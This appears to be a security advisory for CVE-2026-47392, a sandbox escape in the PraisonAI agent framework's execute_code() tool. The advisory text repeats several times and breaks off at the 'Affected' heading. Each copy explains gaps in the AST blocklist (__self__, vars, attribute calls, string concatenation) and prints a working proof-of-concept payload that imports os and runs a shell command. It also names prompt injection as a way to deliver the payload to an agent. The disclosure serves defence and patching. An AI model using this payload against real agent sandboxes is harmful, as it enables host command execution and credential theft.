CVE-2026-47392

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

• Attribute calls: b.exec(...) — func is ast.Attribute
• Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.

Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

| Line | AST node | Check | Result | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes | | b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes | | "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes | | d[key] | Subscript | Not checked | passes | | imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |

Result: Full sandbox escape → arbitrary command execution

Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

• Execute arbitrary commands on the host system
• Read/write any file accessible to the process
• Exfiltrate environment variables, API keys, and credentials
• Pivot to internal networks
• Install persistent backdoors

Affected

• Package:…

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

PraisonAI is a multi-agent teams system. Prior to version 4.6.40 of PraisonAI, corresponding to version 1.6.40 of praisonaiagents, execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox. This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline). PraisonAI version 4.6.40 and praisonaiagents version 1.6.40 contain an updated fix.

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

• Attribute calls: b.exec(...) — func is ast.Attribute
• Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.

Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

| Line | AST node | Check | Result | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes | | b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes | | "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes | | d[key] | Subscript | Not checked | passes | | imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |

Result: Full sandbox escape → arbitrary command execution

Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

• Execute arbitrary commands on the host system
• Read/write any file accessible to the process
• Exfiltrate environment variables, API keys, and credentials
• Pivot to internal networks
• Install persistent backdoors

Affected

• Package:…

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

• Attribute calls: b.exec(...) — func is ast.Attribute
• Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.

Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

| Line | AST node | Check | Result | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes | | b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes | | "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes | | d[key] | Subscript | Not checked | passes | | imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |

Result: Full sandbox escape → arbitrary command execution

Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

• Execute arbitrary commands on the host system
• Read/write any file accessible to the process
• Exfiltrate environment variables, API keys, and credentials
• Pivot to internal networks
• Install persistent backdoors

Affected

• Package:…

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: __self__ missing from _blocked_attrs

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: vars not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST Call check only catches ast.Name nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch:

• Attribute calls: b.exec(...) — func is ast.Attribute
• Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.

Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

| Line | AST node | Check | Result | |---|---|---|---| | print.__self__ | Attribute(attr='__self__') | __self__ in _blocked_attrs? | NO → passes | | b.vars | Attribute(attr='vars') | vars in _blocked_attrs? | NO → passes | | b.vars(b) | Call(func=Attribute) | isinstance(func, ast.Name)? | NO → passes | | "_", "import" | Constant(value=str) | Contains blocked attr? | NO → passes | | d[key] | Subscript | Not checked | passes | | imp("os") | Call(func=Name('imp')) | imp in blocked calls? | NO → passes |

Result: Full sandbox escape → arbitrary command execution

Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

• Execute arbitrary commands on the host system
• Read/write any file accessible to the process
• Exfiltrate environment variables, API keys, and credentials
• Pivot to internal networks
• Install persistent backdoors

Affected

• Package:…